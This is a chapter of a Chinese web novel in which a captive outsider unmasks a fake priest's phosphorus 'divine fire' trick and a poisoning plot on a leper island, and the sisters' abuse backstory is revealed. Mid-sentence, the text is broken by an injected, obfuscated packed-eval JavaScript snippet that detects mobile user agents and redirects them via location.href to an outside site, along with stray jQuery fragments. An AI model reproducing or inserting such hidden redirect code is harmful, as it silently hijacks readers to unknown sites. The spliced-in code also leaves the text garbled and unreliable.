54. 圣女诅咒
作品:《梨花落锦衣》 秋收节是麻风岛最盛大热闹的节日,传说中,第一任圣女钟蓓蓓就是在秋收节这天带回种子,人们认为这是麻风神的恩赐。在这天,无论男女老少都会提前沐浴,穿最干净的衣服,聚集到祭台庆祝秋收节。
天神降灾,岛上人心惶惶,就等着用“闯入者”祭天,求得麻风神宽恕。
一大早,所有人已经聚集到祭台前,祭台周围摆满各样鲜花,台上女孩们在花团锦簇中跳庆收舞,小孩端着水盆向台上洒水,寓意风调雨顺。
祭台左侧是一座莲花台,“天女”梨花被藤条缠绕坐在台上。右侧架起一座十字架,架上绑着“闯入者”谢舟。圣女和教主会在吉时出现,为秋收节庆典点燃第一把火。
巳时二刻,总坛大殿的石门从里打开,大祭司执权杖出现,何苗端着一只木盆低眉顺眼跟在其后。
大祭司道:“赐圣水。”众人恭敬弯腰,伸出双手举过头顶,捧好大祭司分赐的圣水饮下。
所有人饮过圣水,已到巳时三刻,大祭司口中念念有词,他权杖一点,祭台四角的石鼎“轰”得一声冲起四道火光,众人立刻欢呼,声音响彻祭台。
众人眼中的光比火光还闪耀,漏刻一滴一滴走过,只要到了午时,麻风神收到他们送上的祭品,一切苦厄就会远离他们。
就在众人翘首以盼望着大殿石门之时,“闯入者”突然开口,“请问大祭司刚才念的是什么?”
别说他不知道,众人也不知道,大祭司是麻风神的喉舌,传达神谕又岂是他们凡人能听懂的,一人道:“关你一个外人什么事。”
谢舟道:“你们要烧死我当然关我的事,大祭司也是外来人,你们怎么不烧他,还唯他的命令是从?”
众人面面相觑,大祭司是不是外人真不好说。
他并非岛上出生,而是在一次祭典中凭空出现的,当时大家正低头拜谒,突然出现浓烈的烟雾,烟雾退下时,大祭司就站在祭台中央。他说自己是麻风神派来清洗岛上罪孽的,洗清罪孽的人就可以出岛。
一人道:“大祭司是圣女认可的人,和你不一样。”
谢舟大笑:“圣女?没有初代圣女血脉的人也敢妄称圣女?”
这话点燃一些人本就埋藏的疑问之火,一个用布巾包头围脸的妇人道:“她算什么圣女,不过是抽签选中的普通女人,借由圣女的名头为所欲为。”
梨花听她声音耳熟,从她身旁的小孩认出,正是那天被火烧的妇人,看来她心里还是不服气。
谢舟道:“原来是抽签选出的圣女,她的话怎么能算数?大祭司就是外人。”
也有其他人对大祭司的火刑不满,窸窸窣窣小声嘀咕:
“就是,勾结外人伤害自己人,哪有这种圣女。”
“什么对圣女不敬受惩罚,我看就是她蓄意报复。”
“明明有教主,又搞出个什么大祭司,必定有不可告人的关系,水性杨花,死性不改。”
有些人越骂越难听,一直安静的何苗突然道:“何莹虽然是抽签选出来的圣女,但她是唯一一个能安全出海往返的人,说明她天命所归,不容置疑。”
“何莹怎么就是唯一一个了?”被绑在莲花台上发不出声的梨花嘴巴疯狂开合,“何苗也能出去,我就是她带回来的。”可惜她的话没人能听见。
谢舟看了她一眼问何苗:“照你这么说,没有圣女血脉的人也能获得出海秘法,这就证明出海靠的不是神力护佑,而是正确的方法。”
刚才还喧闹的众人一下安静下来,他说的话众人不是没想过,但无人敢去验证,毕竟都知道最初跟随钟蓓蓓出海的全都尸骨无存。
谢舟看出他们的心思:“正是有人利用你们胆怯的心理制造骗局,不能出海从一开始就是有人故意制造劫难,为的就是将所有人困在岛上。”
大祭司道:“不要在这里扰乱人心了,火焚是你的归宿。”漏刻早已过了午时,他不等圣女和教主来,直接拿起火把走到谢舟面前,“麻风神会迎接你。”
就在他靠近的瞬间,谢舟手臂用力绷断绳子,反手将绳子套在大祭司的脖子上,大祭司立刻反应过来向后撤步,抓起权杖劈来。
谢舟不闪不避,一脚踢飞装圣水的盆,权杖打烂木盆,圣水全都浇在大祭司脸上。这次谢舟没有立刻被打倒,他勾唇一笑与大祭司打得有来有回。两人身形在祭台上四处变幻,底下众人看得拳头紧握。
梨花坐在台下,视角受限动弹不得,只看见一群人朝谢舟冲过去,他一人怎么打得过这些疯子?情急之下她不顾藤条上的荆棘,从藤条中挣脱出来,奔向谢舟。
她奋力挤进人群,就见魁梧的大祭司被按在地上群殴,脸上流着五颜六色的汤水,什么大祭司,根本就是外来人假扮的。
打了假的大祭司,又怎么会放过假天女?梨花惊讶之余四处寻找谢舟的身影,有些打红眼村民发现她,转头连她一起打。
就在拳头即将落在脸颊时,她被人从背后一把捞走,腾空转一圈再稳稳落地,被一个熟悉的身影揽在臂弯里。
谢舟道:“各位宣泄够了就停手,还有更重要的问题要解决。”
一人先恢复理智道:“什么问题?”
“究竟天神降灾还是蓄意谋害?”谢舟指着何苗道:“请推动这一切的幕后黑手来为我们解答。”
其他村民也反应过来,纷纷停手看向何苗,有人问:“圣女与大祭司合谋害我们,何苗一直帮我们求情,怎么会是她?”
被火烧的妇人道:“怎么不会,自从何莹当了圣女,两姐妹不再亲近,嫉妒她妹妹是圣女她不是,两姐妹没一个好东西。”
有人道:“两人性格迥异很正常,你以为谁都和你一样善妒。”
其他人附和:“何苗勤劳善良,教中大小杂务都是她在做,没有她大家祭典时吃什么喝什么?”
众人被问得哑口无言,何苗确实是个好姑娘,很小时候她们父母双亡,她带着妹妹乞食。岛上粮食不丰,何苗就帮大人干农活、挑粪。大家愿意干的她抢着干,大家不愿意干的她主动干。
白天干农活,晚上照顾妹妹休息,夜里把祭台擦得一尘不染,若说对麻风神虔诚,没人比得过何苗。姐妹俩虽然生活得很苦,但在何苗的悉心照顾下,妹妹何莹一直无忧无虑,十分爱说爱笑。
见大家被带偏,谢舟适时提醒:“若非她负责饮食,怎么能在你们的吃喝中动手脚?”
众人又是一惊:“你说什么?”
谢舟道:“那些发狂咬人口吐白沫的人是中毒了,她把毒源之人的血沾到手帕上,再用浸泡过毒手帕的水给你们制作糕点,吃了糕点的人就会中毒。”他看梨花一眼,这还是梨花发现告诉他的。
有人问:“那火刑呢,被火烧的人不可能配合她,众目睽睽下怎么作假?”
这时,就见抱着大祭司权杖的梨花艰难挪过来,她把权杖放在地上翻来覆去查看,对着上面每一根尖刺用力拔,最上面那一圈尖刺真被她拔下来,她抖一抖权杖,孔洞中洒出许多极细的粉末,这些粉末一遇光照立刻燃烧。
众人被惊掉下巴。
梨花救被烧的妇人时,摸到她衣服上有滑腻感,她当时没当回事,被关的两天越想越奇怪,总觉得大祭司对着人点一下的动作十分刻意。她一试,权杖果然有问题。
谢舟道:“这是一种特殊的磷粉,遇光即燃,说谁有罪便撒到谁身上。大家看到了,所谓天神降灾都是人搞的鬼。这世上根本无神。”
“不可能!麻风神是真实存在的,我们的祖先受到诅咒主动上麻风岛避祸,是麻风神赐予我们救命的闻蝇草,又让圣女带回种子,我们世世代代受麻风神保护,即便圣女有错,也不该质疑麻风神。”
其他人点头应和表示同意。
谢舟道:“哪有生命垂危的人愿意放弃有医有药的地方?他们是被赶上麻风岛的。闻蝇草也非神赐,它天然长在岛上,只是你们发现了它。还有,发现闻蝇草的不是钟河,而是他的妻子兰心。”
有一年岁略大的人道:“一个体弱多病的女人能做什么?我听长辈说,兰心在钟河发现闻蝇草不久后感染风寒意外去世了,她没福。”
谢舟道:“她没有死,而是被钟河关起来。她还发现离岛的方法,告诉女儿钟蓓蓓,本想让女儿快点离开,谁知钟蓓蓓也被钟河控制,被迫害死与他一同出海的人。”
他的话实在太难以置信,有人问:“这些事情接近百年,你是怎么知道的?”
谢舟道:“多亏何苗。”众人又看何苗,“她把我们关在地下密室,正巧是兰心被关的那一间,兰心用壁画记载了当年的事,想来为的就是有朝一日真相可以重见天日。”
他顿一顿,笑道:“哦对了,你们可能还不知道,你们脚下有一座地底迷宫,若各位不信,可以到处找找,兰心的密室就在祭台正下方,何苗就是通过这些密道神不知鬼不觉往来各处。”
他说的有鼻子有眼,众人再不能不信,密道、迷宫这种事一查就知道真假,他没必要说谎,看来何苗真的有问题,麻风神的传说恐怕也是假的,众人垂头丧气。
何苗问:“你怎么知道自己所在是祭台下面?”
谢舟道:“漏刻。”祭台上摆着全村最大的漏刻,“我们头顶有规律的滴水声,你带梨花来过祭台,她见过,猜到了。”谢舟赞赏地看梨花一眼,梨花拍拍胸脯表示:小意思。
何苗一笑:“你们真是聪明,可惜没用,他们今天都要死。”
众人瞪大眼,这才知道何苗要杀他们所有人。
梨花笑着指一指被劈烂的木盆,顶一下谢舟胳膊,谢舟替她说:“你是想说你在圣水中下毒了?”
什么?圣水有毒?有人第一时间抠喉咙催吐,然后所有人开始抠喉咙,捶自己肚子。梨花心道:我们早把圣水换成清水了,谁让你们想烧死人,折磨你们一会儿再告诉你们吧。
可还没等梨花笑完,众人接二连三倒在地上。
何苗一步一步走上祭台,站到最高处俯视痛苦蜷缩的众人。
梨花急得跑过去查看,这些人还是中毒了?不应该呀。
何苗道:“你们以为我还会把毒下在吃喝里?骆天都被你发现了,我怎么会没有两手准备。麻风岛的人常用闻蝇草泡茶、沐浴,”她指着满地的鲜花,“这里有许多天零花,两种草药混合是致命毒药。”
“我本想通过火烧加速花粉扩散,却被破坏。可这些人冲上祭台殴打大祭司,主动吸入大量花粉,这就怨不得我了。而且毒发需要时间,这也是我允许你说那么多话的原因。”
梨花拿出银针给村民压制毒性,可这么长时间,毒液早已流满全身,陆续有人死去。
一人问:“何苗,你为什么要这样做?我们可曾害过你?”
何苗道:“你们确实没有害过我,可圣女呢,你们哪一个敢拍着胸脯说没害过她?”她的话问出,竟然没一个人敢说话。
谢舟与梨花对视,两个外来人同时露出迷茫的眼神。
何苗道:“我下的毒要折磨他们很久才会死,我要亲眼看着他们一点点受尽折磨,才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483657|184427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能消我心头之恨,现在我不介意给你们讲讲他们做过些什么。”
谢舟和梨花对麻风岛的了解停在钟蓓蓓成为圣女、他的丈夫当上教主,后面的故事何苗为他们补齐了。
后来钟蓓蓓的女儿、外孙女继承了圣女之位和出岛的方法,他们的丈夫顺理成章成为教主,于是聪明的人发现,只要娶了圣女就能当教主,可第四代圣女没生孩子就去了。
此后,每一代圣女都是抽签出来的,岛上所有适龄少女不得逃避抽签,否则其家人将遭受火刑。
梨花奇怪,当圣女不是无上荣耀吗,为何要逃避抽签?
何苗道:“不能出岛的圣女就是一座空壳子,有谁会心甘情愿供奉呢?圣女必须在一年之内找到出岛方法,否则就会被烧死祭麻风神,何莹是第五十七代圣女”
梨花稍一想,岂不是说从第四代圣女以后,这些年麻风岛已经烧死五十二个女子了?简直丧心病狂。还好何莹找到出海的方法,血腥的圣女制度可以在她这里终结了。
谁料却听何苗道:“这是她更大悲剧的开始。
“她嫁给一直爱慕她的葛成,生下一个孩子,我以为她终于能好好过日子,可有一天,我发现她满身伤痕,问她被谁打的她不说,我悄悄蹲守,发现葛成经常喝醉,喝醉就打她,打孩子,为了保护孩子,她就把孩子护在身下不敢躲。从葛成口中,我才知道姐姐经经过什么非人的遭遇。”
“她找到出岛方法的事很快传遍全村,当夜就有个男子闯入家中侵犯了她,那人大言不惭说愿意娶她为妻,她不愿意,于是这件事也被泄露,然后全村几乎每个男人都来侵犯她,说圣女的滋味他们也要尝尝。”
“不久,她发现自己怀孕了,谁当教主其他人都不服气,于是教主之位落在葛成身上,那个曾经爱慕她,唯一没侵犯过她的人。”
“葛成起初对她和孩子很好,过去的事情他装作不在意。但装就是装,他还是在意,尤其听他们肆无忌惮讨论孩子长得像谁的时候,他终于受不了,日日买醉,动手打人。”
听到这儿,梨花的心混乱地揪起来,可远不及何莹的人生痛苦,她好想逃,无声呐喊:何莹你知道出岛方法,你快逃啊!
何莹逃了,她放心不下何苗和孩子,准备带她们一起走,何苗在海边等了一天一夜何莹都没过来,她回去抱孩子的时候被葛成发现了。
她们再也没机会逃了。
谢舟道:“圣女的遭遇我十分同情,但岛上其他人,尤其妇孺,他们没做错什么。”
何苗激动向前:“他们没有吗?”她指着被烧的妇人,“他的丈夫也是欺负何莹的一员,可她却说是何莹勾引她丈夫,口出恶言肆意辱骂,他们的孩子见到何莹就用石头丢她,他们无辜吗?”
她指着在场所有人道:“杀圣女、欺负何莹,他们每一个人手上都有鲜血,他们都该死!这座岛是被诅咒的地方,这里的人身体里都流着肮脏的血液,我送他们去见他们最信仰的麻风神。”
“好了,故事讲完了,我也该走了。”何苗摇摇晃晃跌倒在地,梨花立刻扶起她号脉,何苗道:“不要救我,我不配。”为了尝试毒药,她的身体早破败不堪。
梨花摇头,用口型说:“要救。”
这时,大殿门口传来撞击声,一直没露面的葛成终于出现,他手中怀抱一个婴儿。看见躺了满地的人,对何苗大吼:“何苗你这个疯子,快把解药交出来!”
梨花也轻轻摇晃她,谢舟道:“他们的罪恶交由官府审判,你不该为他们的错误买单,交出解药,我会为你做主。”
何苗担心葛成破坏计划,早把他迷晕关起来,没想到还是被他跑出来。她看着葛成歪头笑眯眯道:“你有眼无珠,你最该死。”
葛成把孩子举高大声道:“快把解药交给我,不然我摔死他!”话音未落,他眼神一变表情痛苦,一只白刃从腹部穿出,他回头,何莹的脸露出来。
他松手,孩子从高空坠落,何莹下意识接孩子,松开握匕首的手,葛成转身拔刀反捅何莹。眼见孩子落地,一个人影飞扑过去,半空中一双手抱走孩子。
中毒吐血的何苗与被捅的何莹挣扎向对方爬过去,何莹道:“小莹,何必呢,姐姐最大的愿望就是你好好的。”
何苗道:“我错了,从我抽中圣女签,同意你换身份替我当圣女那一刻起,我就错了。”
何莹道:“我们来世再做姐妹。”
何苗道:“下次我一定当姐姐。”
二人含笑闭眼。
为了保护妹妹,姐姐替妹妹当圣女,这才有了悲惨的一生,妹妹为给复仇,精心炮制这场血案。
梨花簌簌流泪,她握拳砸地,胸中说不出的愤怒与悲哀。谢舟一手抱孩子,一手扶起趴在地上的梨花:“你会武功吗就冲过去?万一他的刀对着你怎么办!”
梨花搓搓手投给谢舟一个“我错了”的表情,她逗逗孩子,孩子格叽格叽笑,完全不知道自己刚才经历了什么。
骆天从大殿出来,对谢舟道:“抱歉,换了水也没帮上你们的忙。”他递给梨花一封信,“何苗留给你的。”
梨花疑惑地接过信,何苗不是不识字吗,她还有多少谎言?
信中写,因为梨花执意要救岛上的人,不得已把她拉下水,她中的毒是天然药草,七天后毒性排完就能说话了。另外,大祭司不是岛上的人,是被她逼迫才伤人的,还请他们放过大祭司。
谢舟走向被打得鼻青脸肿的大祭司道:“你是被逼迫的吗高如风将军?还是我该叫你一声高管家?”